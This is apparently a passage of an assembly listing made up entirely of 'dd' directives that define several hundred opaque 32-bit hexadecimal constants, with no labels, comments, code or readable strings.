		dd 787A0637h, 58050070h, 0A931C404h, 0D023495h,	0D8A0E726h
		dd 2C404047h, 0E48B038Dh, 9B4ECCA1h, 0D34085D0h, 0ED005CEEh
		dd 0DF3E6FD0h, 0F6BAF6Dh, 1675B1B3h, 63C2C620h,	0F2096061h
		dd 750F36B7h, 549D1481h, 0AE2D203Bh, 9FDCE800h,	3CA9CDEDh
		dd 10E20042h, 0F8591371h, 8C3D47DEh, 0FC0909CEh, 0D898818Eh
		dd 0AEE73F74h, 8A111428h, 0EC2686DBh, 64D0750h,	22FA326Dh
		dd 5B240C40h, 0E741ED00h, 0F7F463ABh, 855806D7h, 508FF2B0h
		dd 4D4E5F03h, 0FAFE6A3Fh, 8E94652Dh, 4320A3D8h,	249CEE6Dh
		dd 0BDA058E0h, 40CE2A6h, 283D12C2h, 909FC7Dh, 0A1595FA0h
		dd 0C4196040h, 0A64C748h, 9D39E152h, 900733Dh, 1C04B018h
		dd 3596B1h, 6D859FA6h, 944BD981h, 0AA478D01h, 7C1E87B9h
		dd 160F4E8h, 18254E86h,	3012623Dh, 0A501B2D4h, 77D446B0h
		dd 9425E953h, 4851E1F4h, 0CD266C3Ch, 9866000Dh,	0D3BC7C3h
		dd 16C0AA49h, 0AC12B989h, 1872B870h, 0B098BEh, 0AA386D0Eh
		dd 0AD0CBFB2h, 80E54A3Fh
		dd 82805722h, 9A94954Fh, 694B00CCh, 0C3AFAB74h,	14B86D0Ah
		dd 0B0A7BD2Ch, 0E9382787h, 0CE60BE80h, 0F46B48F8h, 6912C10Bh
		dd 0E813B002h, 0B7D59848h, 4500F5EEh, 274DEF3Fh, 3FE428B8h
		dd 412C4823h, 0F2E90068h, 0C5333212h, 5D0176B8h, 0C462A2A3h
		dd 7836F7AEh, 4021791Eh, 0A2E090CEh, 0F80069EAh, 7E2C782h
		dd 71BB87h, 2DF6FDCAh, 360C46FCh, 0DC9764B1h, 72D91C31h
		dd 0BCD4AC57h, 440040C7h, 5231F8ECh, 994C6001h,	46483A07h
		dd 4CA0E9AFh, 64753782h, 85121118h, 1270D29h, 8DB6EF9Ah
		dd 20453F5Fh, 8400910Ch, 0BFD6295h, 172AF7A8h, 8C59EF5h
		dd 185AA3F0h, 349213Ch,	6620BA37h, 6390DEBFh, 2B017AAFh
		dd 682F9522h, 0CA40F02Ah, 589C70A3h, 8180A0DDh,	593C36AEh
		dd 0DFFA0C00h, 0DCE93ECCh, 0BF6F01A7h, 0B881A367h, 7410201Bh
		dd 0A08B3624h, 39A8B300h, 494680h, 1C2F09EDh, 75315B2Eh
		dd 9016A400h, 5CB5D69Bh, 0F50318E8h, 0E72540D2h, 7827BC3Fh
		dd 5F0311E0h, 0B99D10BAh, 404DB37Eh, 0AFC5D1h, 75D9CEE9h
		dd 0F1543337h, 0D62A3FE6h, 931CAC80h, 0A140F5D5h, 462B66BEh
		dd 0F8BF5CBBh, 44C20B00h, 0D7BAD125h, 0D638DF01h, 6B46F587h
		dd 703DE0h, 0B43A6F23h,	0C077DDB5h, 0CD6C4C00h,	0C84DE1F6h
		dd 0F4CF038Bh, 0A4ABD796h, 9C686ECAh, 789240C1h, 88B0872Ah
		dd 81A8913Ch, 0AFBD83E7h, 0A4240905h, 179C923Ah, 5F3119CAh
		dd 6FD39Ch, 5A423028h, 0B900F3E6h, 0C44EAEBAh, 982BCF32h
		dd 0E37500CCh, 2F5B9E03h, 1E05A8F7h, 2CB20E5Eh,	9CB767C0h
		dd 47F8004Ch, 58A6D7AEh, 0C2162707h, 0A3008889h, 4D1FEF3Dh
		dd 0A0202D5h, 6607EC68h, 0F4DEC441h, 0F4E04708h, 0F42B4Ch
		dd 0E9990489h, 463CF5h,	1DD3C5E4h, 0F6B8FDF1h, 62296400h
		dd 6DCF18A4h, 0BCB2263Ah, 355480E0h, 0F14E6FEAh, 535B6C0Fh
		dd 20DF6B04h, 750B5D34h, 91380046h, 0F35CDC89h,	0D500558Fh
		dd 0DACA98A4h, 1D9E47D4h, 81C3B196h, 6BFA9A23h,	0D03225h
		dd 0AE57D7DCh, 94F8D5h,	5D0D6E48h, 716F151Ah, 80D0E93Dh
		dd 0D6D9BAE0h, 1694F4Bh, 0FBD8F378h, 0B88D5A48h, 0C791E29h
		dd 679A9947h, 0B8809E24h, 44D053h, 58776FC3h, 24F55A4Dh
		dd 7C66A000h, 0DFEDBF63h, 9DF00036h, 9B09CF90h,	8A01E8B8h
		dd 0B4982131h, 6C749795h, 884AEACBh, 0C300F0F1h, 0A151BB79h
		dd 0E43E2FA6h, 0E6162EC7h, 19EA0053h, 0FE854F9h, 9F3EEE98h
		dd 4E451F10h, 0CF001D52h, 8DF83F3Bh, 8BEC34h, 0F1B26484h
		dd 0D939C07Bh, 0E4765D03h, 26105E9h, 0AEB32820h, 0CB80FD9Eh
		dd 3C218570h, 9005178h,	0FF63C662h, 0F1B0C8D3h,	1C12F8h
		dd 9281AA37h, 5E9D4FBBh, 6718300Eh, 8AD4A0B6h, 38B4F9h
		dd 0C7661342h, 2A856043h, 6265EB00h, 710E8ED3h,	516302BCh
		dd 0B35A36EFh, 2B828868h, 3324B2F4h, 4A1F0C06h,	811B8C00h
		dd 6E4501h, 5D0C1247h, 0E5E31A25h, 2CFEB400h, 31EBD1FBh
		dd 9A050084h, 4617EADCh, 4F000D82h, 5A71F4E2h, 1084347h
		dd 515E7CB7h, 0D5F3B9C0h, 0D1BCD4DBh, 5A951701h, 93546B87h
		dd 80A3843Fh, 0E51094D4h, 4052AE03h, 0F3A5F2BEh, 0CFB698DFh
		dd 0DFCF6h, 0C3E48225h,	41234AA0h, 0A320D11Fh, 11B87642h
		dd 66246109h, 0E0B1FCh,	0B6CECDADh, 0FF2F12A3h,	7775B5ECh
		dd 75E71005h, 87B06348h, 0B073BEFh, 0B471A4h, 0EEE3FB1Ah
		dd 790B903Bh, 40E57DA5h, 3EF7C11Ch, 239AFFAh, 7898280h
		dd 0E1DB2CFh, 0B4B75D00h, 7CEDF5B9h, 13CB0162h,	8ADF818h
		dd 0B440DE21h, 8C002717h, 4A9CF53Bh, 268B738h, 43FD8AF6h
		dd 0BCE0EBDCh, 0A3071021h, 305790BAh, 6CC0F457h, 1D50D847h
		dd 0CDAEC2h, 35FB9E4Fh,	822C9581h, 8600B026h, 1842DDC7h
		dd 4C6302CDh, 0C8FFE172h, 0E8F45061h, 75001D9Bh, 0FC080647h
		dd 35BDF5h, 6470976Dh, 6ABAC0B9h, 1BE60090h, 38031898h
		dd 3406294h, 0C773F995h, 0EC90E8h, 55C32BF1h, 0D3AA389h
		dd 8EBDA23Fh, 0C2F723h,	0EE3B839Ch, 129F828h, 6AFB0CB2h
		dd 806C5953h, 803AAD58h, 0C89A01h, 573E845Ah, 26A4403Ch
		dd 0FB68D600h, 0EEDDF1DAh, 5B580BF0h, 1780B577h, 0CE40E11h
		dd 0F400027Ch, 0C27AED30h, 2608B2F7h, 364053h, 61D6C877h
		dd 8E13E5C3h, 0ECC0CC3Dh, 12ABC47Eh, 0A33289h, 6D34DE1Bh
		dd 0B05967Bh, 151316F8h, 9EBFC4C0h, 2E810E71h, 6B4BFCABh
		dd 60B3E207h, 5053B8CAh, 0F142C400h, 0DC0B1980h, 5AA10246h
		dd 0B0182773h, 479C94E0h, 1CBA9F06h, 163E4D14h,	3817AC6h
		dd 0F8384EFCh, 997811C3h, 9E00C878h, 0BB5F685Eh, 329277Dh
		dd 9469B9D2h, 201D50F1h, 0EB036031h, 67F59FABh,	835F5849h
		dd 791617A9h, 19068403h, 185E08h, 0EF7FF75Bh, 10CE4FE1h
		dd 3293400h, 0F39BFDDDh, 141D3C4Ch, 328B0A02h, 94A1C813h
		dd 80B42B10h, 0D7406B50h, 57C0FA9h, 5E25ACAFh, 0A814005Fh
		dd 0C2A08B26h, 274C0F02h, 0C0999F71h, 5B6B915h,	0F2E5E458h
		dd 50C0206Bh, 0F00010A0h, 74713045h, 0B03FDB13h, 0E7D11E80h
		dd 0A7D2016Ah, 0E06B93C1h, 960663D5h, 0C3D9EC1Bh, 8CC6771h
		dd 0C534D0F5h, 9D7DD3CFh, 0ED00B377h, 0E717E18Eh, 1C6F5EB8h
		dd 80A32513h, 71E47731h, 72006037h, 7C1E1B44h, 613267h
		dd 0C67DF459h, 0DE935C7h, 0ECD91200h, 0FFAD2641h, 0EBE70E57h
		dd 74C0E666h, 4F9D52Bh,	81BC000h, 61240D93h, 9F7D0C9Dh
		dd 0E69965A8h, 6884B400h, 3A37D7CBh, 67C00570h,	42B28E13h
		dd 3822D8A8h, 0B97588A0h, 0A94B6EE4h, 0DF063000h, 3B112D08h
		dd 378044F2h, 0EC4BF994h, 0D90060C5h, 6E964682h, 487197h
		dd 694EA26Ch, 3CBD5C20h, 0C8C76A00h, 9FFED92Fh,	24B37DF3h
		dd 0A67B77h, 100EFFB9h,	0AF1EBA26h, 0D9009F65h,	0FE130BDDh
		dd 67A70019h, 0D112D8CBh, 5BFAE94Fh, 0DB032B74h, 43E03615h
		dd 18C48879h, 32100025h, 1C78169Fh, 77E41117h, 8D261203h
		dd 0A706CE94h, 6B5D00CFh, 37E35B0Eh, 0F720AF60h, 8E153088h
		dd 160D501Ch, 381D201Eh, 1AEB2E0h, 78F049D0h, 8C977539h
		dd 30168009h, 0D0651FD2h, 614E8007h, 8AAD9866h,	11FB1714h
		dd 11D2328h, 0EFBAD0ADh, 0DD000E70h, 2653D064h,	0CC00D51Dh
		dd 21911104h, 160870B5h, 937B86h, 99E79B74h, 39C07E17h
		dd 2103665Bh, 0FA4600F6h, 2226949Eh, 7B582BEAh,	75A826E2h
		dd 3D8A281Eh, 26018486h, 0D33A46E5h, 7A8DA040h,	0EE4E00A7h
		dd 75F4D5F7h, 1C64EF8Bh, 2D409030h, 6AE56B1h, 0A8EDB0Ch
		dd 605F090Bh, 494D2019h, 4F0F9856h, 80D29EACh, 8F8C81BDh
		dd 0EBAF068Ah, 0B89AE11Ah, 0D984E07h, 5D704F49h, 6D2AE9Ch
		dd 0B4F51E15h, 284678A6h, 645DA702h, 27310B06h,	5DBC5710h
		dd 0E3C73Ah, 0D9054478h, 0C56A774h, 630745A9h, 98008D49h
		dd 9DBC3991h, 6BB60h, 1E08FCE5h, 0CD5D3F3Ch, 59169707h
		dd 304D8E65h, 0D540FCh,	0D89D984Bh, 292E0F99h, 17675EE8h
		dd 0D470E920h, 0F7EA12h, 9DDD9F93h, 0FD46A641h,	6B8E080Bh
		dd 1B80006Fh, 994CBAh, 1D3F5E1Ch, 0B8D4F5BDh, 276E1A00h
		dd 6192F78Dh, 4890FEh, 785E2EBh, 0ACE19996h, 2D5AD02h
		dd 4815235Bh, 0E6890958h, 20B55364h, 60112A84h,	0A7E3F5BBh
		dd 606044ACh, 3FEEF948h, 0B1BAFBFDh, 3C7FE380h,	0F633BEFEh
		dd 3EBF5900h, 4BC0692Dh, 0C43A0584h, 0B1339C2h,	5F8012F8h
		dd 20971199h, 778C092h
		dd 0DEF281C0h, 0AC63E5h, 0A09F971Bh, 1A115277h,	0B019D728h
		dd 0A1EAEB00h, 8F8D257h, 0D921020Bh, 5A2E7CF2h,	0BF12D848h
		dd 81849F39h, 0FC91FAE5h, 0FC220E6Eh, 71EB111Dh, 701F4F29h
		dd 50AE8C08h, 0A7C80F00h, 8146D0CAh, 9FB806A0h,	91763013h
		dd 8AF8B155h, 0B4515040h, 0FE40607h, 226698D0h,	0ED2C1AA1h
		dd 0FCA229D4h, 611824E9h, 0F0B608D0h, 316F3A10h, 0D058D900h
		dd 5DE287C4h, 5E869500h, 7561ED23h, 0E4DCA5F2h,	800F6016h
		dd 120474AFh, 91BF5E4h,	1CAAD00Ch, 535D0994h, 0ED2F0C00h
		dd 0D8AEB03Eh, 9CAA14E4h, 16948800h, 8C916633h,	21D57A80h
		dd 862A4DF7h, 0DB5944h,	4996D423h, 0A394EC30h, 28841354h
		dd 0C8B31F00h, 5C887881h, 608A736Fh, 9CEDB81Eh,	2FF2D9A8h
		dd 29FCEB53h, 297980F0h, 506F818h, 8D0CE59Ah, 0F943A39h
		dd 0AAC8968h, 4C17F0h, 0C262E48Fh, 0ED4CF99Bh, 94550644h
		dd 1211884h, 31D34329h,	0F04C6BADh, 2491C25Ah, 927A1205h
		dd 9BD4AC00h, 7CF74870h, 0D6163A8Ch, 62250880h,	5F98075Dh
		dd 0C5F61200h, 463A5902h, 0EBC42E2Ch, 40E118DEh, 0D200EAA3h
		dd 7D133810h, 13CF02D4h, 4554023h, 0C8217818h, 6A002BF8h
		dd 7CF67711h, 0AB7605h,	20723E56h, 0A85B8F36h, 0F5655F00h
		dd 6EA4E79h, 8640777h, 0E71A9D5Ch, 1CBE4FF0h, 90DD55CFh
		dd 1D68321Dh, 1F2C033Ch, 45A0A55Eh, 0DC0BA779h,	24A93F1h
		dd 6C0FB0h, 0D865312h, 0E7904C9Bh, 49F5861h, 1AA7009Ah
		dd 0A0809A8Ah, 27D1FA0h, 67811330h, 90653EA6h, 0BD1E1902h
		dd 23209C9Eh, 5C1C7E10h, 2AA87140h, 98B75BA5h, 0EAA00AE4h
		dd 3CA41725h, 4174CA19h, 850DF0F7h, 0BC12A207h,	90E91E8Dh
		dd 44BC624h, 9AF41CEh, 592CC0E4h, 3F5475EAh, 0D3004890h
		dd 9ABE68C2h, 195D67E0h, 58903A1Ah, 0D205C969h,	19D5B201h
		dd 0CF2161BFh, 3FC20CBEh, 0CCA059AFh, 6661F409h, 0A5CD1E1Fh
		dd 2298C345h, 4040B425h, 0EC6B9DF5h, 0B09EB83Fh, 5E731670h
		dd 41340140h, 0A4DD630Ch, 0E7113C18h, 10D0479Fh, 0D37008EFh
		dd 1FD0037Ah, 88B44E70h, 23E0F4B8h, 9F5848D8h, 4088D414h
		dd 76856F03h, 0EA90CC5Dh, 1103CD52h, 1DE502C0h,	0BFABF85Ah
		dd 14963E39h, 61C19C00h, 9401A28Fh, 2BC33B00h, 3E6B3563h
		dd 48FC0Ch, 7DEBAEFBh, 0C0B47ABCh, 0C91ADB00h, 0DE6647E9h
		dd 6BFB38C6h, 21175381h, 70A5F4FCh, 0E300643Eh,	0D426C50h
		dd 0A8C646h, 3CB7C5EDh,	0C974495Bh, 8455AF1Eh, 0BE05F6C0h
		dd 7E8BB2h, 2C57CDC8h, 63479C31h, 1D38E300h, 0ED19B1E6h
		dd 56F21CC4h, 5FFEB0D2h, 0E174685Ah, 36C68700h,	1958C996h
		dd 67160C75h, 0E8084D1Bh, 82A121C0h, 0C7CC1C9h,	960D9F60h
		dd 3C001218h, 2641F644h, 0A4FFD5h, 59B10EE5h, 488C7B11h
		dd 58C41900h, 21447CC8h, 30AD7ED2h, 2740C68Ah, 7500DA30h
		dd 0D39A2BFh, 0E8323ABDh, 3621C092h, 0F3351F58h, 22646A00h
		dd 0CE43DBF6h, 9C91040Ch, 803A8C61h, 137F8765h,	96A85767h
		dd 0E885BC21h, 0EA79208Ch, 0E700F9C1h, 836C841Fh, 41956B8h
		dd 0DD124DAEh, 7B17C1C3h, 5F419944h, 0D819A8A8h, 0BF10861Fh
		dd 90C8322Ah, 1F413580h, 1C751E3Bh, 0C03E89D6h,	666957A2h
		dd 1C18D0ABh, 4890ED40h, 9C5A1493h, 0C20688CBh,	28A9BC6Dh
		dd 763EC880h, 105B8330h, 9F0119h, 9E3CBC97h, 0D64A29FBh
		dd 0B632340Fh, 0D180DDD0h, 865D2D77h, 8AC80026h, 689B2C59h
		dd 6738F562h, 43280B7h,	9007990Ch, 0F8A703D1h, 0F7954415h
		dd 0CF9F51A0h, 7A41C71Dh, 0D5DF8E47h, 883F34D3h, 30807ECh
		dd 51539457h, 0DD80FFCEh, 0ABFAC8BFh, 0A48DAD00h, 31A94D40h
		dd 0C7D739E1h, 0B2A57B80h, 0C23C440Ch, 2FB90100h, 0AFD2C13Bh
		dd 962900C5h, 5108030Fh, 0F201D1EBh, 487A1661h,	0E4D4972Dh
		dd 74A7383h, 4391D839h,	298C2009h, 1900E21Bh, 696727F7h
		dd 3D264ECCh, 1A00700Eh, 0C8B2AB15h, 740E4CE8h,	1825D3DFh
		dd 7EC2F118h, 0F00C980Dh, 18E53010h, 7BB7A18h, 90008A7Bh
		dd 0AFAE5D94h, 1654C91h, 80A77C13h, 0ECBFA924h,	5C0359C2h
		dd 0CD92F650h, 0E01ACB65h, 7A1F7367h, 0EE110DD6h, 20887920h
		dd 61C22E3Ah, 8E1B0A98h, 0C1806618h, 3181336h, 1C131F87h
		dd 0CA86DC64h, 404CF111h, 0FD0DF428h, 2AFA370Ah, 191C905Fh
		dd 15C9A358h, 43F0EF7h,	983D97F6h, 2D548126h, 0BF223539h
		dd 0A67680B7h, 0CD6D2720h, 1F8F84Fh, 6938FA67h,	7091F70Fh
		dd 87EA3F49h, 5C4E1800h, 0D15D6ACEh, 2E93001Ah,	7299EA36h
		dd 0CDEE32C5h, 0D9540514h, 0E68A03C1h, 0E8E4683Dh, 0F61CC4D1h
		dd 0B00700F5h, 796C40CBh, 287FE947h, 600F637Fh,	43F35D38h
		dd 0C9D45B70h, 81EFD001h, 10805C6Fh, 6C2E5665h,	0C00EF76h
		dd 53E362CCh, 3C5D3230h, 96A6B572h, 8AFC005Ah, 13618D77h
		dd 87EBB00h, 9DB33AF8h,	3F4EF011h, 0A1BC458Ch, 0DE97B780h
		dd 0D3920633h, 0C5480261h, 0D8C016F6h, 0C6FEC1h, 0C279847Ch
		dd 15E8FE32h, 4B69200h,	93591E49h, 3730306Ah, 0E0416B38h
		dd 58DA2E00h, 51F97A3Fh, 3E5FED8h, 23667811h, 44847CB7h
		dd 0C5404E41h, 0CE7110BDh, 6F0BB414h, 0A0DD02A4h, 0A0B9EF3Bh
		dd 4BEAD5ACh, 5E76003Dh, 0FB05FDFh, 0FF01D41Bh,	0E78D4FBBh
		dd 33D91FF8h, 3BEFB440h, 1C50071h, 0BD009E8h, 2F07601Ch
		dd 0F3F09B4Dh, 9E237921h, 7701E5ECh, 0E95A03Dh,	48D90C58h
		dd 9D188889h, 38DA4F1Ch, 0F70091D2h, 0BACEB72h,	2CF40719h
		dd 80F074FFh, 2BFDC7E7h, 23F7C32Ch, 16854803h, 5072B1E5h
		dd 0C96A3D0h, 9D4F8C28h, 6F3A3818h, 7F619769h, 8002E00Fh
		dd 88CEB719h, 4E5B1274h, 0F13200AFh, 3EE014BFh,	18698330h
		dd 3E289888h, 0E4001CCCh, 60995E91h, 191FB6EEh,	7559D806h
		dd 25F4CD28h, 247F03BCh, 0B31D9EFBh, 0AE651877h, 46019D9h
		dd 11C5C3h, 35C47877h, 0FF61ACEFh, 9C2AD13Eh, 0D7817163h
		dd 4EAA9422h, 74AA30h, 0ABFDFCD9h, 5CEB7F39h, 30F2E733h
		dd 7783E0C5h, 60980095h, 5D39E2AAh, 4A0301E1h, 12CE4009h
		dd 285DED14h, 19C85C0Ch, 6EC0A1E5h, 39FDEE10h, 0DDA9A26Fh
		dd 6002340Ah, 0A38CFB60h, 663E2C5h, 0AAD76275h,	883B5898h
		dd 88D0A008h, 7E9A90h, 2AA6F602h, 429889ACh, 4D7379C1h
		dd 7C48F49Dh, 8EE5485h,	79A3608Fh, 0F65CF03Dh, 1184F1D0h
		dd 0AC097E1Eh, 827335Fh, 0D761E045h, 48A1998Ch,	9C401ACCh
		dd 5D49C3DAh, 979B9F78h, 9663800h, 0C181F624h, 109503ADh
		dd 0FE07176Eh, 0B296A903h, 5C3EF0h, 1EEDAF31h, 7142891Fh
		dd 61D82B3Bh, 0AAE1D59h, 89383981h, 0D3C2FCB4h,	50CD1181h
		dd 0E281E9CCh, 58A9DB60h, 2F07F99h, 62C5CDD9h, 0BCA05159h
		dd 0AE7081F3h, 0C4111660h, 40A8CE63h, 0B8C31038h, 3353493h
		dd 437BC510h, 181C9467h, 864AD7F5h, 0DC203492h,	4AC15960h
		dd 3B88ACC8h, 3F155CF4h, 4867A08Fh, 930D8015h, 10C00474h
		dd 0B3D039BAh, 424F40D1h, 90925937h, 4E6D2C50h,	1D5D3C4Ch
		dd 4434DC05h, 9D84037Fh, 0F5B050FFh, 4B0057E7h,	5C81F956h
		dd 126BAE96h, 4A5AEE0Dh, 0F9407A34h, 43FF03CAh,	70204068h
		dd 0E3999D06h, 218A0E6h, 0FF6F01C1h, 640A8447h,	0D8597003h
		dd 822014ADh, 123C5437h, 0BCE0F114h, 0EE094822h, 0EE4D998h
		dd 3D40B8A8h, 5A700157h, 0D7F6B17Ch, 8C8024A6h,	0EF4CACE8h
		dd 99188510h, 0F2680C04h
		dd 8974521h, 4231C424h,	9D7888F5h, 40FD04A5h, 18043784h
		dd 17728C01h, 1415D074h, 0C0EC20A8h, 9395FE29h,	0E71CE664h
		dd 6900DD7Fh, 87AD8A32h, 307800D3h, 2FF29A9Dh, 720C8BE2h
		dd 615441DDh, 0F033DDEh, 0AFEEA880h, 303A1138h,	0ED666D01h
		dd 0E9267204h, 302E170h, 0F1EC569h, 12C32731h, 0A90A62A0h
		dd 52083061h, 91801704h, 14517D3Fh, 34E6B577h, 0AAB38702h
		dd 0C0CDED92h, 5A3F84h,	81C3E94Eh, 4C7D5088h, 69F58703h
		dd 0CAC1E70h, 12663998h, 0F000BF50h, 876A84A5h,	1F596A8h
		dd 105FBAF1h, 0F40B7BDEh, 3A986603h, 20EE192Ch,	37537705h
		dd 4832CC1h, 3AB7F900h,	5C090800h, 9C1DF603h, 3BB50002h
		dd 0A535432Ah, 0A0002553h, 0D41ABC0Ch, 0A896844Bh, 74C0D9C4h
		dd 62741327h, 0E16C205Ah, 0DF0978C3h, 8277F7C5h, 686674DCh
		dd 0C62EECECh, 31574279h, 4F6DE200h, 59174525h,	90300AEh
		dd 0C3142BF8h, 7507281Bh, 0BA26C298h, 0CB0E8020h, 412C18F5h
		dd 2F9E415Ah, 9701EB7Dh, 4CC7DDFDh, 84CC870Dh, 2C94A8D4h
		dd 23C0A862h, 0B134001Fh, 2DD09077h, 0B50270A8h, 15788BBAh
		dd 0ECBE003Ah, 1A0C894Eh, 0B12AD0C6h, 0FF4F0BF2h, 0F881EB57h
		dd 748C073Dh, 2018A7E0h, 0B960E66Eh, 158D00D7h,	0CEE47F0h
		dd 0EB741797h, 0D3818060h, 9A8D4Eh, 0F7FA4694h,	36E15CC5h
		dd 1C24EC4Ah, 0C27CF81h, 21007422h, 0C38BAE3Ah,	0D90EB291h
		dd 92B32482h, 86EB0820h, 78D51DB5h, 0B12C980Dh,	0BA0582C5h
		dd 65233A84h, 57D58440h, 28920729h, 1DCDFB8h, 2CD77B1Bh
		dd 0D14E5B7Fh, 35A98771h, 0DD276E13h, 0C9FD4AD0h, 7B880050h
		dd 0F5BACD85h, 0C5507E38h, 0E201C4C4h, 0E1D3E636h, 0B0EC87C8h
		dd 7CA112D0h, 8268300Bh, 9F1BE7DAh, 80A175CFh, 391E8h
		dd 7637F2Eh, 0FE278ED4h, 6C0F004h, 6CA2FC7Ah, 0AC18F525h
		dd 0A6129D49h, 842023C5h, 1A76A3h, 672BB071h, 17DBC2BDh
		dd 5A096803h, 3FEFCF4Ch, 0E1E00529h, 711F2D99h,	1300FA7Dh
		dd 18AE3943h, 141B11CDh, 9C41A5A3h, 21167922h, 7C0ED094h
		dd 3604A742h, 5B054BB0h, 0AE740081h, 0C359FFFBh, 0E1247FFCh
		dd 14880C8Bh, 8D48606Bh, 8F46F024h, 0DC006922h,	9218DDFh
		dd 2465987Fh, 4B9476EEh, 0EE55C20h, 53017B48h, 70B9F916h
		dd 20F48063h, 9C774813h, 874B29A0h, 0DF45BB00h,	2A57C641h
		dd 0ECCA01BAh, 0F034196Ch, 0C5619273h, 8C1E1030h, 450A0105h
		dd 5F3E629Ah, 3AE0507Dh, 277BA9DFh, 3C9220F0h, 39C0D3F4h
		dd 0CC02C43Eh, 0BE9A0056h, 0E949AFFEh, 60FA3C14h, 176E5503h
		dd 0CD2EFA7h, 181D4FA0h, 70C61F9h, 682004D8h, 1607C70h
		dd 8A98C391h, 0E446190Ch, 0C88B663Ah, 0AD9A426h, 0DE08E72Fh
		dd 37F401EDh, 0F170C8AFh, 3A4C3485h, 123C784Ch,	20036E84h
		dd 0DB7C16EBh, 7D490009h, 4B98B041h, 500EF79Ch,	8AF8D304h
		dd 7A006878h, 74D18FB0h, 0AF870010h, 940D26ACh,	9CA8E9D4h
		dd 69009BA7h, 0F5F1737Bh, 0FDE656Dh, 0FA117E79h, 87E50340h
		dd 70183647h, 3D59CBD0h, 513A1677h, 760820E6h, 0A4BA5E42h
		dd 5D8CE112h, 0AE23A000h, 602DCB5Fh, 93822968h,	95009C86h
		dd 50E85E5Dh, 14187FFh,	0AB1C1B6Fh, 0C80BC2F5h,	2CB0B3E4h
		dd 20D99826h, 342CC59Fh, 7FD04C06h, 76CD3C89h, 3FCEF10Bh
		dd 84884007h, 2DDCA40Dh, 0F46F141Ch, 8A3DD0C7h,	0B905BCD0h
		dd 7F790025h, 21615F51h, 6E240B47h, 465E744Eh, 4E8A00B6h
		dd 3879FBDAh, 0E17A0977h, 20855FEDh, 0D1088EAh,	0C9914B67h
		dd 0E72DEF20h, 93790039h, 707DC2F3h, 547EF78Eh,	2401252h
		dd 0F0CE8DB2h, 0D6001C3Fh, 8A568D29h, 7B6E3AE3h, 5C2812B7h
		dd 80940F7Dh, 0C360AC40h, 2B636562h, 0C0244981h, 0B1A0E97Bh
		dd 430D8C70h, 0F8B46621h, 91C66800h, 3FFF5FA7h,	15323856h
		dd 93200228h, 159D523h,	0EC1412CFh, 8216F70Eh, 3E919C99h
		dd 0C0904355h, 0C0BBEE66h, 98BCC339h, 0FF004C4Fh, 8E2EE152h
		dd 13624072h, 81EA6884h, 10C9051Ch, 310C99C3h, 2C58DA8Ah
		dd 0A952D0B4h, 388B3D37h, 0C2FBCF30h, 7F391D48h, 555B8C2Dh
		dd 0EC00F649h, 19405A54h, 29DD458Bh, 0E18B543h,	0D1401EEBh
		dd 60334AB0h, 19076492h, 5CAC0AA3h, 3BA026F7h, 251DD4h
		dd 0E61283E7h, 89076B8Fh, 9318CA00h, 0E0314A4Eh, 86400B34h
		dd 0E40063A5h, 9D895767h, 4302A41Eh, 85B8B518h,	44F888E1h
		dd 88378F14h, 217229Ch,	3290C8D4h, 7848C61Bh, 3C78C5DAh
		dd 0C6BBB09h, 72D08412h, 0E62C088h, 779C4294h, 8ECC4E6Ah
		dd 0EA229A04h, 14E46B71h, 0E6AE0C00h, 0F1648A36h, 0D75F0013h
		dd 0DFCFD268h, 0AD3B880Dh, 4BAA3FF6h, 58E88C02h, 629C875Ch
		dd 78D468C5h, 0C0F83C87h, 4B96B07Bh, 91F94C21h,	24200079h
		dd 0ED9D0D8Fh, 4528B0D1h, 0BF020EFh, 48E80C40h,	48001CFEh
		dd 0CEED174Eh, 5B50BDACh, 9C4C0168h, 398F0050h,	0E4D92BFDh
		dd 1C7348F4h, 0E7AC613Dh, 704F9D14h, 0A4EE9D31h, 0B0D15E20h
		dd 8F600C40h, 0C328CA73h, 0C9C6C500h, 0DDA75A01h, 577A0350h
		dd 9FE0ADE7h, 833EF2E1h, 1E708BBAh, 3F809840h, 0D8090065h
		dd 0ACCF39AEh, 9C00F717h, 0FCF6D44Eh, 88A043h, 0B481334Ch
		dd 14C5BED7h, 8264C700h, 0F458F6F3h, 39191C3Fh,	1E610074h
		dd 469F753h, 7E003E7Eh,	0FE289E63h, 0FA5289h, 0CDB5DABEh
		dd 845780A5h, 42083E00h, 1CC34C79h, 4BBB02BFh, 72B50321h
		dd 0DE5F48C0h, 1297C700h, 0A0B413C3h, 0C1490042h, 92C298ECh
		dd 0E07CC3Bh, 0C448D174h, 8244808Fh, 8C7D79h, 5B6BA096h
		dd 23FB81ACh, 3FCDF500h, 73010684h, 165F0091h, 0BCEBADEh
		dd 133025A1h, 511580A6h, 919D0029h, 0AB216C33h,	3FEAE149h
		dd 80618838h, 0AD13AC43h, 20D3676h, 0C39ED7B5h,	0ED431A7Fh
		dd 0BB926097h, 0BC07A487h, 8C483BEBh, 0AB440BC0h, 0F73C3A4Bh
		dd 469E00FBh, 0BBF64F3Dh, 60039275h, 2654CDA2h,	0A19004Bh
		dd 6EA941FAh, 0F800CF81h, 0FFD229F5h, 6D4F9DFh,	2153C28Fh
		dd 4A007189h, 68E3F770h, 98D74384h, 22ED07C3h, 40FE9CA3h
		dd 7448A5EEh, 0D13F6600h, 0A22C72C2h, 51B25CC3h, 73A3F000h
		dd 56EFD89Eh, 293DE932h, 0D07510E6h, 44279340h,	8A20ACD2h
		dd 11EA4265h, 0DB21CC29h, 5175F20Ch, 8E7F442Eh,	408FC744h
		dd 4000ED3h, 0E6BF084Bh, 26C0CAh, 375D16EDh, 0FB355766h
		dd 0A2AF9700h, 83A080E0h, 9018003Fh, 0F02604CEh, 0F300B9F5h
		dd 4DE35156h, 2F01FEh, 2B7C03D9h, 58C974CCh, 0F5010EFCh
		dd 6B58ACBh, 6CC40278h,	2815003Eh, 0DE6EA6A5h, 0AF00B3E3h
		dd 4F3CA36Bh, 23D250h, 0B2BD4A03h, 5736D5ACh, 70C12707h
		dd 0DFA70D91h, 0DB942BD1h, 70E90CF0h, 0A91A0069h, 0E2AFDADEh
		dd 0EC50E524h, 1600A8C0h, 0AB8E7753h, 1C309C3Ah, 418BF898h
		dd 310B8C6Dh, 79B880A0h, 51EB97FCh, 126F39AFh, 671028FAh
		dd 28D60087h, 8CFAEE3Eh, 490097A0h, 6D89F94h, 872A5h, 3A223314h
		dd 2DA95383h, 0DAB850Fh, 6146AE01h, 6F6E57Ah, 28805FFDh
		dd 0CF04CD44h, 0D2000C4Eh, 8947D437h, 946B5Ch, 15983513h
